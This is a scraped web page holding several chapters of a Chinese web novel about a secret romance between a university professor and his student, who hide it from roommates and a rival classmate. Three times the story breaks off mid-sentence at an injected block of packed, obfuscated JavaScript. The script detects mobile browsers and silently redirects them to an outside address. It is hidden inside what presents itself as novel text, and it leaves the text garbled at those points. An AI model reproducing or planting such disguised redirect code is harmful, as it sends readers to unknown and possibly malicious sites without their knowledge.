今天他穿了一件深蓝色的衬衫,领口挺括,袖子挽到手肘。看起来和平时没什么不同,依然严肃,依然禁欲。 但陆知许知道,在那件衬衫下面,藏着他留下的痕迹。 这个认知让他稍微安心了一些。 至少,谢砚是他的。 至少,他们拥有彼此。 整堂课,陆知许努力集中注意力听课。 但他失败了。 他的视线总是不自觉地飘向教室门口,飘向窗外,担心室友会突然出现,担心会有其他人发现他和谢砚的秘密。 下课铃响时,陆知许几乎是立刻站起来,想要离开教室。 但谢砚的声音让他僵在了原地: “课代表,等一下。” 全班的目光再次聚焦过来。 陆知许僵硬地转身:“教授……” “来我办公室一趟。”谢砚说,语气很平淡,“关于学术沙龙的事,需要跟你确认几个细节。” “好、好的。”陆知许小声说。 他站在原地,看着谢砚收拾教案,看着他走向门口,看着他……在经过他的座位时,用只有两个人能听见的声音说: “别紧张。” 很轻的三个字。 但陆知许听见了。 他抬起头,对上谢砚深褐色的眼睛。 那双眼睛里有什么东西在流动,很温柔,很……安抚。 陆知许的心稍微安定了一些。 他点点头,跟着谢砚走出了教室。 --- 办公室里,谢砚关上门,然后转身看着陆知许。 “怎么了?”他问,语气比刚才柔和了许多,“从刚才上课开始,你就一直心神不宁。” 陆知许低下头:“我室友……他们可能发现了……” “发现什么?”谢砚问。 “发现我们……”陆知许小声说,“昨天我脖子上的痕迹被他们看见了,他们一直在追问……” 谢砚沉默了几秒。 然后他走过来,伸手抬起陆知许的下巴,强迫他看着自己。 “他们怎么问的?”谢砚问。 “他们问我是不是谈恋爱了……问我对方是谁……”陆知许说,眼睛开始泛红,“我不知道该怎么回答……” “那就不要回答。”谢砚说,拇指轻轻擦过陆知许的眼角,“我们的关系,不需要向任何人解释。” “可是……”陆知许小声说,“如果他们猜到了是您……” “猜到了又怎样?”谢砚挑眉,“他们有什么证据吗?” 陆知许愣住了。 证据? 他们有什么证据? 吻痕吗?那可以解释成是别人留的。 频繁去办公室吗?那可以解释成是课代表的工作。 私下见面吗?那可以解释成是师生间的正常交往。 好像……确实没有什么确凿的证据。 “但是……”陆知许还是有些不安,“如果他们去乱说……” “那就让他们说。”谢砚说,声音很平静,“只要你我不承认,他们说什么都没用。” 陆知许看着谢砚冷静的样子,心里的不安慢慢平息下来。 是啊,只要他们不承认,别人说什么都没用。 师生关系是敏感,但也不是没有先例。 只要小心一点,谨慎一点,应该没问题。 “过来。”谢砚说,拉着陆知许的手,走到沙发前坐下。 陆知许乖乖坐下,靠在谢砚怀里。 谢砚搂着他的肩,轻轻拍着他的后背。 “别怕,”他说,“有我在。” 陆知许点点头,把脸埋进谢砚颈窝里。 谢砚身上的味道很好闻,淡淡的檀木香,混着一点洗衣液的清新。 让他安心。 “教授……”陆知许小声说。 “嗯?” “如果……如果真的被人发现了,您会怎么办?”陆知许问。 谢砚沉默了几秒。 然后他说:“那就公开。” 陆知许猛地抬起头:“公开?” “嗯。”谢砚点头,表情很认真,“如果你愿意的话。” 陆知许的心脏开始疯狂跳动。 公开。 向所有人公开他们的关系。 让所有人都知道,谢砚是他的。 这个念头太诱人了,诱人到让他几乎要立刻点头。 但理智告诉他,不行。 至少现在不行。 “不行……”陆知许小声说,“您现在还在评职称……不能有这种负面新闻……” 谢砚看着他,眼神很深。 “我不在乎。”他说。 “我在乎。”陆知许说,很认真,“我不要因为我的原因,影响到您的前途。” 谢砚愣住了。 他看着陆知许认真的样子,心里某处柔软的地方被触动了。 “傻瓜。”他低声说,揉了揉陆知许的头发,“我的前途,没有你重要。” 陆知许的眼泪又开始往下掉。 但这次是感动的眼泪。 “谢砚……”他小声说,第一次主动叫出这个名字。 谢砚的身体颤了一下。 “再叫一遍。”他说。 “谢砚。”陆知许又叫了一遍,然后吻住了谢砚的嘴唇。 这个吻很温柔,很缠绵。 带着感激,带着爱意,带着想要保护对方的决心。 谢砚闭上眼睛,回应着这个吻。 两人在沙发上接吻,直到办公室的门被敲响。 “谢教授在吗?”门外传来一个女声。 是林薇。 陆知许的身体僵住了。 谢砚轻轻推开他,整理了一下衣服,然后站起身。 “去里面。”他指了指休息室,压低声音说。 陆知许点点头,快步走进休息室,关上门。 谢砚走到办公室门口,打开门。 “林薇同学,有事吗?”他问,语气很平淡。 “教授,”林薇站在门外,手里拿着一份文件,“我写完了论文初稿,想请您帮我看看……” 她的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301350|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越过谢砚,看向办公室里面,似乎想看看有没有别人。 “进来吧。”谢砚说,侧身让开。 林薇走进办公室,把文件放在桌上。 谢砚在办公桌后坐下,翻开文件看了起来。 休息室里,陆知许贴着门板,听着外面的动静。 他能听见谢砚翻动纸张的声音,能听见林薇说话的声音,能听见…… 他听见林薇说:“教授,您今天这件衬衫真好看,很适合您。” 陆知许的手指收紧。 他听见谢砚说:“谢谢。我们来讨论你的论文。” 很平静的语气,没有任何波澜。 陆知许稍微安心了一些。 但下一秒,他又听见林薇说:“教授,您脖子上……是不是有什么?” 陆知许的心脏狠狠跳了一下。 他记得,今天谢砚穿的衬衫领口不算高,如果他低头的话,可能会露出脖子上的痕迹。 难道…… “什么?”谢砚的声音传来。 “就是……”林薇似乎在犹豫,“您脖子侧面……好像有点红……” 陆知许屏住了呼吸。 他等着谢砚的回答。 几秒后,谢砚说:“可能是蚊子咬的。” 很平淡的回答。 林薇似乎信了:“哦……最近蚊子是挺多的。教授您要注意防蚊啊。” “嗯。”谢砚应了一声,“我们继续看论文。” 陆知许松了一口气。 但他知道,这只是开始。 以后还会有更多的人注意到,会有更多的猜测,会有更多的危险。 他们必须更加小心。 更加谨慎。 --- 十分钟后,林薇离开了办公室。 谢砚打开休息室的门,看见陆知许还站在门后,脸色有些苍白。 “吓到了?”谢砚问,走过去搂住他。 陆知许点头:“我听见她问您脖子上的痕迹……” “没事。”谢砚说,揉了揉他的头发,“我应付过去了。” “可是……”陆知许小声说,“以后可能还会有别人问……” “那就让他们问。”谢砚说,表情很平静,“我有的是办法应付。” 陆知许看着谢砚冷静的样子,心里的不安慢慢平息下来。 是啊,谢砚比他想象中要强大得多。 也比他想得更周全。 “对了,”谢砚突然说,“下周我要去上海参加一个学术会议,三天。” 陆知许愣住了:“三天?” “嗯。”谢砚点头,“周四走,周日回。” 陆知许的心沉了一下。 三天见不到谢砚。 这对他来说,太久了。 “我……”他小声说,“我会想您的……” “我也会想你。”谢砚说,捧住他的脸,“所以,在我走之前,我想做一件事。” “什么事?”陆知许问。 谢砚看着他,深褐色的眼睛里有什么东西在流动。 然后他低下头,在陆知许的脖子上轻轻吻了一下。 不重,但足以留下痕迹。 在昨天那个痕迹旁边,又留下了一个新的印记。 陆知许的身体颤了一下。 “这样,”谢砚说,指尖轻轻抚过那个新留下的痕迹,“我不在的时候,你看到这个,就会想起我。” 陆知许的眼泪又开始往下掉。 但这次不是因为难过,是因为……感动。 “我也要在您身上留下一个。”他说,踮起脚,在谢砚的脖子上也留下一个吻痕。 在昨天他留下的痕迹旁边,又留下了一个新的。 两个痕迹并排,像一对小小的翅膀。 “这样,”陆知许说,“您看到这个,也会想起我。” 谢砚笑了。 笑得很温柔,很满足。 “好。”他说,把陆知许搂进怀里,“我们都有对方的印记了。” 陆知许靠在谢砚怀里,闭上眼睛。 感受着这个人的体温,感受着这个人的心跳。 然后他想起了室友的怀疑,想起了林薇的试探,想起了未来可能遇到的所有危险。 但他不害怕了。 因为谢砚在这里。 因为他们是彼此的。 因为只要在一起,什么困难都能克服。 窗外阳光正好。 办公室里很安静。 只有两个人的心跳声,交织在一起。 像一首无声的誓言。 誓言要永远在一起。 无论发生什么。 17. 第十七章 周五的校园似乎比平时空旷了一些。 陆知许抱着课本走在去图书馆的路上,秋风吹过,卷起几片金黄的银杏叶。他习惯性地抬起头,看向教师办公楼的方向——五楼那扇窗户紧闭着,窗帘拉得严严实实。 谢砚不在。 这个认知让陆知许心里空落落的。 他低头看了看手机,屏幕上还是昨晚和谢砚的聊天记录。最后一条是他发的“晚安,谢砚”,谢砚没有回复——应该是太累了,直接睡了吧。 陆知许把手机收起来,深吸一口气,继续往前走。 --- 图书馆四楼,古典文献区。 陆知许在熟悉的位置坐下,摊开书本和笔记本。今天他打算写谢砚布置的那篇关于《诗经》思念主题的论文,但他发现自己完全无法集中注意力。 笔尖在纸面上悬了很久,最后只写下一行字: “一日不见,如三秋兮。” 他看着这行字,苦笑了一下。 何止三秋。 分开才一天,他已经觉得像过了三个秋天那么漫长。 陆知许放下笔,从书包里拿出一个透明文件袋——里面装着几样东西:那枚钢笔笔帽,一片干枯的银杏叶,还有一张折得很小的纸条。 他把笔帽握在手心,金属的凉意透过皮肤传来。 这是谢砚的笔帽。 是他和谢砚的“初遇”中,唯一留下的实物证据。 陆知许的指尖轻轻摩挲着笔帽上的刻字: To Y.Xie, Cambridge, 2019. Y.Xie。 谢砚。 他的教授,他的恋人。 陆知许闭上眼睛,把笔帽贴在胸口,仿佛这样就能离谢砚近一点。 然后他打开那张小纸条——那是谢砚上周给他批改论文时,随手写在一张便签纸上的字。字迹很潦草,只有三个字: “再想想。” 但陆知许把它小心地折好,保存了起来。 因为这是谢砚的字迹。 是谢砚写给他的字。 现在,这些零零碎碎的东西,成了他思念的载体。 像一座小小的桥梁,连接着相隔千里的两个人。 --- 中午,陆知许还是去了食堂三楼。 他坐在靠窗的老位置,一个人吃着饭。今天的饭菜依然没什么味道,他吃得心不在焉,视线总是不自觉地飘向教师窗口——虽然知道谢砚不在那里,但他还是习惯性地寻找那个熟悉的身影。 然后他看见了林薇。 她今天和两个女同学一起,坐在离他不远的位置。她们在说笑,声音不大,但陆知许能隐约听见。 “林薇,你最近是不是经常去找谢教授啊?”一个女生问。 “对啊,”林薇的声音带着笑意,“我在写毕业论文,谢教授是我的指导老师。” “哇,好羡慕!谢教授那么帅,还那么厉害……” “而且人超级好,”林薇说,“特别耐心,我每次去问他问题,他都会很认真地回答。” 陆知许的手指收紧。 他不想听这些。 不想听别人谈论谢砚,尤其不想听林薇谈论谢砚。 “对了,”另一个女生压低声音,“我听说谢教授还是单身?真的假的?” “应该是吧,”林薇说,“没听说过他有女朋友。” “那你有没有机会啊?”第一个女生笑着问,“近水楼台先得月嘛!” 林薇笑了笑,没说话。 但那个笑容,在陆知许看来,充满了暗示性。 他猛地站起来,端着餐盘快步离开了食堂。 走到门口时,他听见身后传来林薇的声音: “陆学弟,吃完了?” 陆知许没有回头,只是点了点头,然后快步离开了。 --- 下午,陆知许去了那个地下室。 收藏柜还立在那里,在昏暗的灯光下泛着温润的光泽。陆知许打开玻璃门,把今天带来的几样东西放了进去——笔帽放回原位,银杏叶和纸条放进一个新的展示盒。 然后他退后两步,看着柜子里的藏品。 现在,这里面又多了一样东西:他对谢砚的思念。 无形的,但真实存在的思念。 陆知许在小椅子上坐下,拿出那个带锁的笔记本,翻开新的一页。 9月26日,周五,阴。 谢砚出差的第二天。 很想他。 吃饭的时候想他,走路的时候想他,看书的时候想他。 林薇又在谈论他,我听着很不舒服。 她好像很喜欢他,而且不介意让别人知道。 我在想,如果她知道我和谢砚的关系,会怎么做? 会祝福吗?还是……会破坏? 写到这里,陆知许停顿了一下。 笔尖在纸面上悬了很久,墨水慢慢汇聚,滴落,晕开一个小小的圆点。 他继续写: 我不敢想。 我只希望谢砚快点回来。 希望他能在我身边,这样我就不用一个人面对这些。 希望他能抱着我,告诉我别怕。 希望…… 希望什么呢? 陆知许也不知道。 他只是希望,这一切都能顺利。 希望他和谢砚的关系,能一直这样下去。 希望没有人来打扰他们。 希望…… 手机震动了一下,打断了他的思绪。 陆知许拿出来看,是谢砚的消息: “在做什么?” 发送时间:15:32。 陆知许立刻回复: “在地下室,整理收藏柜。” 发送。 很快,回复来了: “想我了?” 很直白的问题。 陆知许的脸微微发热,但他还是诚实地回复: “嗯。很想。” 发送。 这次,“对方正在输入”显示了很久。 最终,谢砚发来了一张照片。 照片是在酒店房间里拍的,窗外的天空灰蒙蒙的,看起来要下雨了。谢砚穿着酒店的白色浴袍,领口微微敞开,能看见清晰的锁骨线条。 而最引人注目的是,在谢砚的锁骨上方,陆知许留下的那个吻痕,依然清晰可见。 在照片的光线下,那个痕迹呈现出淡淡的紫红色,像一枚小小的印章,印在谢砚白皙的皮肤上。 照片下面,谢砚配了一行字: “你的印记,还在。” 陆知许盯着那张照片看了很久。 他的指尖轻轻划过屏幕,仿佛能透过屏幕触摸到那个痕迹,触摸到谢砚的皮肤。 然后他打字: “我也拍了照片。” 他打开相机,对着自己的脖子拍了一张——那两个并排的痕迹,在昏暗的地下室灯光下,显得格外清晰。 发送。 几秒后,谢砚回复: “很好看。” “都是我的。” 陆知许的心脏开始疯狂跳动。 他回复: “您也是我的。” 发送。 然后他补充了一句: “永远都是。” 发送完,陆知许把手机按在胸口,感觉到心脏在那里疯狂跳动。 窗外的天色渐渐暗了下来。 地下室很安静,只有他的呼吸声。 但陆知许不觉得孤单。 因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301351|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他知道,在千里之外的上海,有一个人也在想他。 有一个人也把他放在心里。 有一个人,是他的。 --- 晚上,陆知许回到宿舍时,三个室友正在讨论周末的安排。 “老陆,明天周六,要不要一起去市区玩?”陈宇看见他进来,立刻问道。 陆知许愣了一下:“明天?” “对啊,我们打算去看电影,然后吃火锅。”李锐说,“你也一起来吧,别老一个人闷着。” 陆知许犹豫了一下。 他本来打算明天一整天都待在地下室,整理收藏柜,写论文,或者……继续想念谢砚。 但现在室友主动邀请,他不太好拒绝。 “好吧,”他点点头,“几点?” “上午十点出发,”张子轩说,“在宿舍集合。” “好。”陆知许应了一声,拿起换洗衣服准备去洗澡。 “等等,”陈宇叫住他,“老陆,你那个……‘女朋友’,明天不来学校找你吧?” 陆知许的身体僵了一下。 “不来。”他小声说。 “哦,”陈宇点点头,“那正好,跟我们一起去玩。放松放松,别老想着学习。” 陆知许点点头,走进了浴室。 关上门,他靠在门板上,长长地吐出一口气。 明天要和室友出去玩。 这意味着,他一整天都不能和谢砚联系——至少不能频繁联系。 而且,他还要继续演戏,假装自己真的有个“外校女朋友”。 好累。 陆知许打开水龙头,温热的水冲在身上,稍微缓解了一些疲惫。 但他心里的思念,却像水蒸气一样,弥漫开来,充满了整个空间。 --- 晚上十点,陆知许躺在床上,给谢砚发消息: “教授,明天我要和室友去市区玩,可能不能及时回消息。” 发送。 很快,回复来了: “玩得开心。” 很简单的四个字。 但陆知许看着,却觉得有些失落。 他以为谢砚会说“记得想我”,或者“注意安全”,或者……什么别的。 但谢砚只说了“玩得开心”。 好像……不太在意? 陆知许打字: “您不会想我吗?” 发送。 这次,谢砚的回复来得很快: “会。” “但我不想束缚你。” “你应该有自己的生活,有自己的朋友。” 陆知许盯着那几行字看了很久。 然后他打字: “可我的生活里,不能没有您。” 发送。 几秒后,谢砚回复: “我知道。” “我也是。” “所以,去玩吧。记得玩得开心,记得想我,记得回来。” 陆知许看着那三句话,眼睛开始发热。 他打字: “我会的。” “我会想您,每分每秒都想。” “我会回来,回到您身边。” 发送。 然后他放下手机,把脸埋进枕头里。 枕头下,手机震动了一下。 但他没有立刻去看。 因为他知道,那一定是谢砚的回复。 而他需要一点时间来消化这份感动。 这份被理解、被尊重、被深爱着的感动。 窗外夜色深沉。 陆知许闭上眼睛,在心里默念: 明天。 再等一天。 后天,谢砚就回来了。 这个念头支撑着他,像黑夜里的星光,照亮了前路。 18. 第十八章 周日早晨,陆知许醒来时宿舍里还一片安静。 他轻手轻脚地爬起来,看了一眼手机——七点半。屏幕上躺着谢砚昨晚发来的最后一条消息: “航班信息:MU5107,浦东-本市,14:30起飞,预计17:00到达。不用来接,好好休息。” 陆知许盯着那条消息看了很久,指尖在屏幕上轻轻划过“17:00”这几个数字。 下午五点。 还有九个半小时。 他深吸一口气,放下手机,开始收拾东西。 今天他要去接机。 虽然谢砚说不用,但他一定要去。 他需要第一时间见到谢砚,需要确认这个人真的回来了,真的回到他身边了。 就在陆知许换衣服时,对床的陈宇突然翻了个身,迷迷糊糊地问:“老陆,起这么早?” 陆知许吓了一跳:“嗯……有点事。” “什么事啊?”陈宇揉了揉眼睛坐起来,“又是去图书馆?” 陆知许犹豫了一下:“去……去接人。” “接人?”陈宇的睡意瞬间清醒了大半,“接谁?你那个‘外校女朋友’?” 陆知许的脸微微发热,没有说话。 但他的沉默在陈宇眼里就是默认。 “行啊老陆,”陈宇笑了,“终于肯带出来见人了?什么时候让我们见见?” “不是……”陆知许小声说,“她……她今天只是路过,待不了多久……” “路过?”陈宇挑眉,“从北京路过咱们这儿?这路得有点远啊。” 陆知许知道自己说漏嘴了,赶紧闭嘴。 陈宇看着他慌乱的样子,突然叹了口气。 “老陆,”他说,声音很认真,“你不用这么紧张。” 陆知许抬起头,看向陈宇。 陈宇的表情很严肃,没有平时的嬉皮笑脸。 “其实我们都知道了。”陈宇说。 陆知许的心脏狠狠跳了一下。 “知道……什么?”他的声音在颤抖。 “知道你的‘女朋友’是谁。”陈宇说。 空气凝固了。 陆知许的大脑一片空白。 他呆呆地看着陈宇,眼睛里写满了惊恐。 “你……你们……”他的声音在颤抖,“怎么知道的……” “张子轩昨天回来跟我们说了,”陈宇说,“他说在艺术展上跟你聊了聊,觉得你不对劲。然后我们三个晚上讨论了一下,把最近的事串了串……” 他顿了顿,看着陆知许苍白的脸,放轻了声音: “你最近总是往谢教授办公室跑,一待就是好久。脖子上总带着痕迹,还说是蚊子咬的。问你女朋友的事,你总是支支吾吾……” “最重要的是,”陈宇补充道,“每次提到谢教授,你的反应都不对劲。” 陆知许的手指收紧,指甲几乎要嵌进掌心。 他低下头,不敢看陈宇的眼睛。 “老陆,”陈宇的声音很轻,“是谢教授,对吧?” 最后三个字说得很轻,轻得像羽毛落地。 但落在陆知许耳朵里,却像惊雷炸响。 他猛地抬起头,眼睛里充满了泪水。 “我……”他的声音哽咽了,“对不起……” “对不起什么?”陈宇问,“对不起瞒着我们?还是对不起喜欢上谢教授?” 陆知许答不上来了。 他只能低着头,眼泪不停地往下掉。 陈宇看着他哭泣的样子,轻轻叹了口气。 “老陆,”他说,下了床,走到陆知许身边,拍了拍他的肩,“我们没有怪你。” 陆知许愣住了。 他抬起头,泪眼模糊地看着陈宇。 “真的,”陈宇说,表情很认真,“虽然一开始确实很震惊——谁能想到啊,我们寝室的老实人陆知许,居然把文学院的高岭之花给拿下了……” 他的语气里带着一丝调侃,但没有恶意。 陆知许的脸红了。 “但是震惊过后,”陈宇继续说,“我们三个商量了一下,觉得……这也没什么。” “没什么?”陆知许小声问。 “嗯,”陈宇点头,“谢教授单身,你单身,都是成年人,互相喜欢怎么了?虽然师生关系确实敏感了点,但只要你们小心一点,别被抓住把柄,也没什么大不了的。” 陆知许的眼泪又开始往下掉。 但这次不是因为害怕,是因为……感动。 “你们……真的不觉得……恶心吗?”他小声问。 “恶心?”陈宇挑眉,“为什么恶心?就因为谢教授是男的?老陆,这都什么年代了,同性恋早就不稀奇了好吗。” “而且,”李锐的声音突然从旁边传来,原来他也醒了,“谢教授那么优秀,你喜欢他很正常。他要不是教授,我估计追他的人能从教学楼排到校门口。” 陆知许转过头,看见李锐和张子轩都坐起来了,正看着他。 “老陆,”张子轩开口了,声音很温和,“昨天在展览上,我不是故意逼你。只是看你那么紧张,那么累,想让你知道,你不是一个人。” 陆知许的眼泪彻底决堤了。 他捂住脸,肩膀微微颤抖。 三个室友围过来,轻轻拍着他的背。 “别哭了,”李锐说,“多大点事啊。” “就是,”陈宇说,“不过老陆,你得答应我们一件事。” 陆知许抬起头,泪眼朦胧地看着他。 “一定要小心,”陈宇的表情很严肃,“师生恋太敏感了,万一被人举报,谢教授的前途就完了。” 陆知许用力点头:“我知道……我们很小心……” “那就好,”张子轩说,“如果需要我们帮忙打掩护,随时说。” “对,”李锐点头,“比如你要去谢教授那里,就说去图书馆或者去市区。有人问起,我们就说不知道。” 陆知许看着三个室友,心里涌起一股暖流。 他没想到,他们会这么支持他。 会这么……理解他。 “谢谢……”他小声说,声音还带着哭腔,“真的……谢谢你们……” “谢什么,”陈宇揉了揉他的头发,“我们是室友,是兄弟。兄弟有难,当然要帮。” “不过老陆,”李锐突然坏笑,“你得跟我们说实话——发展到哪一步了?” 陆知许的脸瞬间红透了。 “没……没什么……”他支支吾吾地说。 “没什么?”陈宇挑眉,“那你脖子上那些痕迹哪来的?别告诉我是谢教授咬的。” 陆知许的脸更红了。 他低下头,不说话。 但他的沉默就是最好的答案。 三个室友对视一眼,都露出了“我就知道”的表情。 “行啊老陆,”陈宇拍了下他的肩,“看不出来啊,平时那么老实,下手还挺快。” “谢教授也是,”李锐摸着下巴,“看着那么禁欲,没想到……” “好了好了,”张子轩打断他们,“别逗他了。老陆,你今天是要去接谢教授吧?” 陆知许点点头:“他下午五点到。” “那还不快去准备?”陈宇说,“第一次接机,得打扮得帅一点。” “对对对,”李锐也来了精神,“穿那件浅蓝色的衬衫,谢教授好像喜欢那个颜色。” “头发也弄一弄,”张子轩说,“用我的发胶。” 三个室友开始七嘴八舌地给陆知许出主意,仿佛他要去见什么重要人物。 陆知许看着他们忙碌的样子,心里满满的,都是温暖。 他没想到,他最害怕被发现的秘密,反而得到了最亲近的人的支持。 这让他稍微有了一些勇气。 面对未来的勇气。 --- 下午四点半,陆知许站在机场到达大厅。 他今天穿了那件浅蓝色的衬衫,外面套了一件米白色的针织开衫,头发仔细打理过,还喷了一点谢砚同款的木质调香水。 看起来干净清爽,像个乖巧的大学生。 但只有他自己知道,他现在有多紧张。 心脏在胸腔里疯狂跳动,手心全是汗。 他盯着航班信息屏,看着MU5107那一栏从“抵达中”变成“已抵达”。 到了。 谢砚到了。 陆知许深吸一口气,走到接机口,踮起脚,在一群群走出来的旅客中寻找那个熟悉的身影。 然后他看见了。 谢砚穿着一件深灰色的风衣,拉着一个小型的行李箱,正随着人流走出来。他看起来有些疲惫,眼下有淡淡的青黑,但依然挺拔,依然好看。 陆知许的心脏开始疯狂跳动。 他举起手,想要喊谢砚的名字。 但下一秒,他看见了一个熟悉的身影。 林薇。 她不知从哪里冒出来,快步走向谢砚,脸上带着灿烂的笑容。 “谢教授!”她大声喊道,“您回来了!” 谢砚停下脚步,看向她,脸上没什么表情:“林薇同学,你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301352|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么在这里?” “我来接我表姐,”林薇说,指了指不远处一个正在打电话的年轻女性,“没想到遇到您了,真巧。” 是很巧。 巧到陆知许觉得有些不对劲。 他看着林薇站在谢砚身边,笑着说着什么,心里又开始发酸。 但他忍住了。 因为他记得谢砚说过的话——如果有人试图靠近我,你可以宣誓主权。 所以他深吸一口气,快步走过去。 “教授。”他停在谢砚面前,小声打招呼。 谢砚看见他,愣了一下,然后眼里闪过一丝惊喜:“你怎么来了?” “我来接您。”陆知许说,很自然地接过了谢砚手里的行李箱。 他的动作很自然,像做过很多次一样。 林薇看着这一幕,脸上的笑容僵了一下。 “陆学弟也来了啊,”她说,语气有些微妙,“你们……约好的?” “他是我的课代表,”谢砚说,语气很平淡,“来接我很正常。” “是吗,”林薇笑了笑,“我还以为陆学弟是专门来接您的呢。” “就是专门来接教授的。”陆知许突然说。 他的声音不大,但很清晰。 谢砚和林薇都愣住了。 陆知许抬起头,看着林薇,表情很认真:“教授出差回来,作为课代表,我来接他是应该的。” 他说得理直气壮,让人挑不出毛病。 林薇看着他认真的样子,脸上的笑容彻底消失了。 “那……那我就不打扰你们了,”她说,语气有些僵硬,“教授再见,陆学弟再见。” 说完,她转身离开了。 陆知许看着她离开的背影,心里涌起一股奇异的满足感。 他宣誓主权了。 虽然很隐晦,但他宣誓主权了。 “学坏了?”谢砚的声音突然在耳边响起。 陆知许转过头,看见谢砚正看着他,嘴角带着一丝笑意。 “跟您学的。”陆知许小声说。 谢砚笑了。 他伸手,揉了揉陆知许的头发。 “走吧,”他说,“回家。” 回家。 两个字,让陆知许的心彻底软了下来。 他点点头,拉着行李箱,和谢砚并肩走出了机场。 --- 回市区的车上,两人坐在后座,谁都没有说话。 但谢砚的手,一直握着陆知许的手。 十指相扣。 很紧。 像要把这三天分开的时间都补回来。 陆知许看着窗外飞逝的夜景,又看了看身边闭目养神的谢砚,心里满满的,都是幸福。 然后他想起了今天早晨和室友的对话。 他犹豫了一下,小声说:“教授……” “嗯?”谢砚睁开眼睛,看向他。 “我室友……他们知道了。”陆知许说。 谢砚愣了一下:“知道什么?” “知道我们……”陆知许小声说,“知道我们的关系。” 谢砚的眉头微微蹙起:“怎么知道的?” “他们猜出来的,”陆知许说,“说我最近不对劲,脖子上总有痕迹,还总是往您办公室跑……” 谢砚沉默了几秒。 然后他问:“他们什么反应?” “他们……”陆知许犹豫了一下,“他们很支持。说会帮我们打掩护,让我们小心一点。” 谢砚的眉头舒展开来。 “那就好。”他说,握紧了陆知许的手,“有朋友支持,是好事。” “您不生气吗?”陆知许小声问,“我……我没瞒住……” “为什么要生气?”谢砚看着他,“这又不是你的错。而且,有人知道也好,至少你不是一个人扛着。” 陆知许的眼睛开始发热。 他没想到谢砚会这么说。 他以为谢砚会生气,会责备他不小心。 但谢砚没有。 反而在安慰他。 “谢砚……”陆知许小声叫他的名字。 “嗯?” “谢谢您。”陆知许说,很认真。 谢砚笑了。 他凑近,在陆知许耳边轻声说:“回家再谢。” 陆知许的脸瞬间红透了。 但他没有躲开。 反而靠在了谢砚肩上。 窗外夜色渐深。 车内很安静。 但两个人的心,靠得很近。 像从未分开过。 19. 第十九章 周一早晨的课堂,气氛比往常更加微妙。 谢砚走进307教室时,敏锐地察觉到几道不同寻常的视线。不止是陆知许那双总是追随他的眼睛,还有后排几个女生窃窃私语的眼神,以及…… 林薇。 她今天坐在第一排正中央,穿着浅粉色的毛衣,长发柔顺地披在肩上,看起来温婉可人。但谢砚注意到,她的目光在他脖子上停留的时间比平时长了两秒。 谢砚面色如常地走上讲台,放下教案,翻开点名册。 “上课前先点名。” 他的声音平静无波,和往常没有任何区别。 但点名到“陆知许”时,他清晰地看见林薇的嘴角几不可察地动了一下。 “到。”陆知许小声应道,耳尖微微泛红。 谢砚没看他,继续点名。 整堂课,他讲得格外认真,板书格外清晰,提问格外频繁——尤其是向林薇提问。 “林薇同学,《牡丹亭》中‘情不知所起,一往而深’该如何理解?” 林薇站起来,声音清亮:“这句话讲的是爱情的不可控性和深度。杜丽娘对梦中情人的情感超越了理性,超越生死,体现了明代文人对于‘至情’的理想化追求。” “很好,”谢砚点头,“请坐。” 他注意到,林薇坐下时,脸上带着一丝若有若无的笑意。 那笑意里,有得意,有自信,还有某种……试探。 谢砚移开视线,继续讲课。 但心里已经明白了——林薇在试探他。 通过这种公开的、无可挑剔的师生互动,她在试探他的反应,也在向所有人展示:她和谢教授的关系,非同一般。 --- 下课时,谢砚像往常一样收拾教案。 “课代表,”他说,声音不大,但足以让前排的学生听见,“来我办公室一趟。” 陆知许点点头:“好的教授。” 他收拾东西时,感觉到一道视线落在他身上。 不用抬头,他也知道是林薇。 但他没有理会,抱起课本快步走出了教室。 --- 办公室里,谢砚关上门,转身看向陆知许。 “感觉到了吗?”他问。 陆知许点头:“她今天……很不一样。” “她在宣示主权,”谢砚说,语气很平静,“用一种很聪明的方式。” “宣示主权?”陆知许皱眉,“什么意思?” “意思就是,她在告诉所有人——包括你,也包括我——她有权利接近我,有权利和我互动,有权利……站在我身边。” 陆知许的心脏狠狠跳了一下。 “那您……” “我在配合她。”谢砚说。 陆知许愣住了。 “配合她?”他的声音里带着一丝不敢置信。 “对,”谢砚点头,“她想要什么,我就给她什么。她要公开的师生互动,我就给她。她要展示和我的‘特殊关系’,我就让她展示。” 陆知许不明白:“为什么?” “因为只有这样,她才会放松警惕,”谢砚走到窗前,看着楼下的校园,“只有让她觉得她已经‘赢’了,她才会露出破绽。” 陆知许看着他挺拔的背影,心里涌起一股复杂的感觉。 他认识的谢砚,总是温和的,耐心的,偶尔会有些恶趣味,但从来不会这样……算计。 “您打算怎么做?”他小声问。 谢砚转过身,看着他:“你在担心?” 